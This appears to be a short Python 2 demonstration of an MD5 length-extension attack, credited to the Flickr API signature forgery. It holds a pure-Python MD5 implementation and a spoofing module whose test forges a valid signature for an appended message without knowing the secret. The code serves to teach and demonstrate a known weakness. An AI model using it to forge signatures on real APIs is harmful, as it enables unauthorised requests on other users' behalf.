MD5 length-extension, as described in Thai Duong's Flickr API attack. Based on http://www.huyng.com/posts/dont-hash-your-secrets-heres-why-in-python/

python_md5.py

"""
MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm

Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.

License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.

License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.

RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.

These notices must be retained in any copies of any part of this
documentation and/or software.
"""

import string
import struct

PADDING = "\x80" + 63*"\0"   # do not overlook first byte again :-)

# Constants for MD5Transform routine.

S11 = 7
S12 = 12
S13 = 17
S14 = 22
S21 = 5
S22 = 9
S23 = 14
S24 = 20
S31 = 4
S32 = 11
S33 = 16
S34 = 23
S41 = 6
S42 = 10
S43 = 15
S44 = 21

PADDING = "\x80" + 63*"\0"   # do not overlook first byte again :-)

# F, G, H and I are basic MD5 functions
def F(x, y, z): return (((x) & (y)) | ((~x) & (z)))

def G(x, y, z): return (((x) & (z)) | ((y) & (~z)))

def H(x, y, z): return ((x) ^ (y) ^ (z))

def I(x, y, z): return((y) ^ ((x) | (~z)))

# ROTATE_LEFT rotates x left n bits.
def ROTATE_LEFT(x, n):
    x = x & 0xffffffffL   # make shift unsigned
    return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffffL

# FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
# Rotation is separate from addition to prevent recomputation.
def FF(a, b, c, d, x, s, ac):
    a = a + F ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def GG(a, b, c, d, x, s, ac):
    a = a + G ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def HH(a, b, c, d, x, s, ac):
    a = a + H ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a

def II(a, b, c, d, x, s, ac):
    a = a + I ((b), (c), (d)) + (x) + (ac)
    a = ROTATE_LEFT ((a), (s))
    a = a + b
    return a # must assign this to a


class md5:
    def __init__(self, initial=None):
        self.count = 0L
        self.state = (0x67452301L,
                      0xefcdab89L,
                      0x98badcfeL,
                      0x10325476L,)
        self.buffer = ""
        if initial:
            self.update(initial)
            

    def update(self, input):
        """
        MD5 block update operation. Continues an MD5 message-digest
        operation, processing another message block, and updating the
        context.
        """
        inputLen = len(input)
        index = int(self.count >> 3) & 0x3F

        # Update number of bits 
        self.count = self.count + (inputLen << 3)
        #print("count = %s" % repr(self.count))
        
        partLen = 64 - index

        # Transform as many times as possible.
        if inputLen >= partLen:
            self.buffer = self.buffer[:index] + input[:partLen]
            self.transform(self.buffer)
            i = partLen
            while i + 63 < inputLen:
                self.transform(input[i:i+64])
                i = i + 64
            index = 0
        else:
            i = 0

        # Buffer remaining input
        self.buffer = self.buffer[:index] + input[i:inputLen]

        
    def final(self):
        """
        MD5 finalization. Ends an MD5 message-digest operation, 
        writing the message digest and zeroizing the context.
        """
        # Save number of bits
        bits = Encode((self.count & 0xffffffffL, self.count>>32), 8)
        
        # Pad out to 56 mod 64
        index = int((self.count >> 3) & 0x3f)

        if index < 56:
            padLen = (56 - index)
        else:
            padLen = (120 - index)
        
        # Append padding
        self.update(PADDING[:padLen])

        # Append bits
        self.update(bits)
        
        # Store state in digest
        digest = Encode(self.state, 16)

        # Zeroize sensitive information
        self.__dict__.clear()
        return digest
    
    digest = final  # alias
    def hexdigest(self):
        return self.digest().encode('hex')
    
    def transform(self, block):
        """ MD5 basic transformation. Transforms state based on block """
        a, b, c, d = state = self.state

        x = Decode(block, 64)

        # Round 1
        a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478)#; /* 1 */
        d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756)#; /* 2 */
        c = FF (c, d, a, b, x[ 2], S13, 0x242070db)#; /* 3 */
        b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee)#; /* 4 */
        a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf)#; /* 5 */
        d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a)#; /* 6 */
        c = FF (c, d, a, b, x[ 6], S13, 0xa8304613)#; /* 7 */
        b = FF (b, c, d, a, x[ 7], S14, 0xfd469501)#; /* 8 */
        a = FF (a, b, c, d, x[ 8], S11, 0x698098d8)#; /* 9 */
        d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af)#; /* 10 */
        c = FF (c, d, a, b, x[10], S13, 0xffff5bb1)#; /* 11 */
        b = FF (b, c, d, a, x[11], S14, 0x895cd7be)#; /* 12 */
        a = FF (a, b, c, d, x[12], S11, 0x6b901122)#; /* 13 */
        d = FF (d, a, b, c, x[13], S12, 0xfd987193)#; /* 14 */
        c = FF (c, d, a, b, x[14], S13, 0xa679438e)#; /* 15 */
        b = FF (b, c, d, a, x[15], S14, 0x49b40821)#; /* 16 */

        # Round 2 
        a = GG (a, b, c, d, x[ 1], S21, 0xf61e2562)#; /* 17 */
        d = GG (d, a, b, c, x[ 6], S22, 0xc040b340)#; /* 18 */
        c = GG (c, d, a, b, x[11], S23, 0x265e5a51)#; /* 19 */
        b = GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa)#; /* 20 */
        a = GG (a, b, c, d, x[ 5], S21, 0xd62f105d)#; /* 21 */
        d = GG (d, a, b, c, x[10], S22,  0x2441453)#; /* 22 */
        c = GG (c, d, a, b, x[15], S23, 0xd8a1e681)#; /* 23 */
        b = GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8)#; /* 24 */
        a = GG (a, b, c, d, x[ 9], S21, 0x21e1cde6)#; /* 25 */
        d = GG (d, a, b, c, x[14], S22, 0xc33707d6)#; /* 26 */
        c = GG (c, d, a, b, x[ 3], S23, 0xf4d50d87)#; /* 27 */
        b = GG (b, c, d, a, x[ 8], S24, 0x455a14ed)#; /* 28 */
        a = GG (a, b, c, d, x[13], S21, 0xa9e3e905)#; /* 29 */
        d = GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8)#; /* 30 */
        c = GG (c, d, a, b, x[ 7], S23, 0x676f02d9)#; /* 31 */
        b = GG (b, c, d, a, x[12], S24, 0x8d2a4c8a)#; /* 32 */

        # Round 3
        a = HH (a, b, c, d, x[ 5], S31, 0xfffa3942)#; /* 33 */
        d = HH (d, a, b, c, x[ 8], S32, 0x8771f681)#; /* 34 */
        c = HH (c, d, a, b, x[11], S33, 0x6d9d6122)#; /* 35 */
        b = HH (b, c, d, a, x[14], S34, 0xfde5380c)#; /* 36 */
        a = HH (a, b, c, d, x[ 1], S31, 0xa4beea44)#; /* 37 */
        d = HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9)#; /* 38 */
        c = HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60)#; /* 39 */
        b = HH (b, c, d, a, x[10], S34, 0xbebfbc70)#; /* 40 */
        a = HH (a, b, c, d, x[13], S31, 0x289b7ec6)#; /* 41 */
        d = HH (d, a, b, c, x[ 0], S32, 0xeaa127fa)#; /* 42 */
        c = HH (c, d, a, b, x[ 3], S33, 0xd4ef3085)#; /* 43 */
        b = HH (b, c, d, a, x[ 6], S34,  0x4881d05)#; /* 44 */
        a = HH (a, b, c, d, x[ 9], S31, 0xd9d4d039)#; /* 45 */
        d = HH (d, a, b, c, x[12], S32, 0xe6db99e5)#; /* 46 */
        c = HH (c, d, a, b, x[15], S33, 0x1fa27cf8)#; /* 47 */
        b = HH (b, c, d, a, x[ 2], S34, 0xc4ac5665)#; /* 48 */

        # Round 4 
        a = II (a, b, c, d, x[ 0], S41, 0xf4292244)#; /* 49 */
        d = II (d, a, b, c, x[ 7], S42, 0x432aff97)#; /* 50 */
        c = II (c, d, a, b, x[14], S43, 0xab9423a7)#; /* 51 */
        b = II (b, c, d, a, x[ 5], S44, 0xfc93a039)#; /* 52 */
        a = II (a, b, c, d, x[12], S41, 0x655b59c3)#; /* 53 */
        d = II (d, a, b, c, x[ 3], S42, 0x8f0ccc92)#; /* 54 */
        c = II (c, d, a, b, x[10], S43, 0xffeff47d)#; /* 55 */
        b = II (b, c, d, a, x[ 1], S44, 0x85845dd1)#; /* 56 */
        a = II (a, b, c, d, x[ 8], S41, 0x6fa87e4f)#; /* 57 */
        d = II (d, a, b, c, x[15], S42, 0xfe2ce6e0)#; /* 58 */
        c = II (c, d, a, b, x[ 6], S43, 0xa3014314)#; /* 59 */
        b = II (b, c, d, a, x[13], S44, 0x4e0811a1)#; /* 60 */
        a = II (a, b, c, d, x[ 4], S41, 0xf7537e82)#; /* 61 */
        d = II (d, a, b, c, x[11], S42, 0xbd3af235)#; /* 62 */
        c = II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb)#; /* 63 */
        b = II (b, c, d, a, x[ 9], S44, 0xeb86d391)#; /* 64 */

        self.state = (0xffffffffL & (state[0] + a),
                      0xffffffffL & (state[1] + b),
                      0xffffffffL & (state[2] + c),
                      0xffffffffL & (state[3] + d),)

        # Zeroize sensitive information.
        del x


def Encode(input, len):
    k = len >> 2
    res = apply(struct.pack, ("%iI" % k,) + tuple(input[:k]))
    return "".join(res)

def Decode(input, len):
    k = len >> 2
    res = struct.unpack("%iI" % k, input[:len])
    return list(res)

def test_md5_matches_stdlib():
    from hashlib import md5 as md5stdlib
    std_signature = md5stdlib('hello').hexdigest()
    this_md5_signature = md5('hello').hexdigest()
    assert this_md5_signature == std_signature
    
if __name__ == '__main__':
    test_md5_matches_stdlib()

spoof_md5.py

# Some helper functions to decode and encode binary data
import python_md5
from hashlib import md5

# =================
# = Spoofing Code =
# =================
def determine_padding(length):
    # Length is in bytes:
    
    # Pad out to 56 mod 64
    index = int((length) & 0x3f)

    if index < 56:
        padLen = (56 - index)
    else:
        padLen = (120 - index)
    return python_md5.PADDING[:padLen]
    
def spoof_digest(originalDigest, originalLen, spoofMessage=""):
    # first decode digest back into state tuples
    state = python_md5.Decode(originalDigest, 16)
    
    length_in_bits = originalLen*8
    # Encode the original size modulo 32 into little-endian
    size_bits = python_md5.Encode((length_in_bits & 0xffffffffL, length_in_bits>>32), 8)
    
    # Calculate the original padding
    padding = determine_padding(originalLen) + size_bits
    
    # Create an md5 object
    spoof = python_md5.md5()
    # Seed an initial state, based on original digest.
    spoof.state = state
    # Seed the count variable with the original length and the padding that we've added.
    spoof.count = length_in_bits + len(padding)*8
    
    # run an update with what will be appended.
    # MD5 will continue as if it had arrived at the 'state' in the normal fashion.
    spoof.update(spoofMessage)
    
    # We now have a digest of the original secret + message + some_padding
    return spoof.hexdigest()
    
def test_spoofing():
    originalMsg = "secret" + "my message"
    appendedMsg = "my message extension"
    
    # This is the signature that the user sends over the wire in clear text.
    originalSignature = md5(originalMsg).digest()
    
    # This is how a legitimate user would construct the signature for
    # message == originalMsg + padbits + appendedMsg
    size_bits = python_md5.Encode((len(originalMsg)*8 & 0xffffffffL, len(originalMsg)*8>>32), 8)
    padding = determine_padding(len(originalMsg)) + size_bits
    legitSignature = md5(originalMsg + padding + appendedMsg).hexdigest()
    
    # The attack works because the md5 digest after computing H(m) is
    # the same as the state after running update(m+padding)
    
    # This is how an attacker would spoof the signature where for:
    # message == originalMsg + padbits + appendedMsg.
    # Notice that this method relies on the attacker knowing the length of the
    # original mesage
    # Most apis such as Flickr assign secrets that are of uniform length for
    # all of their api users.
    spoofSignature = spoof_digest(originalSignature, len(originalMsg), appendedMsg)
    
    # if this passes we've successfully constructed a spoofed message
    # of the form: orginal_message + padding + appended_message
    # without actually knowing the secret.
    assert legitSignature == spoofSignature
    
if __name__=="__main__":
    test_spoofing()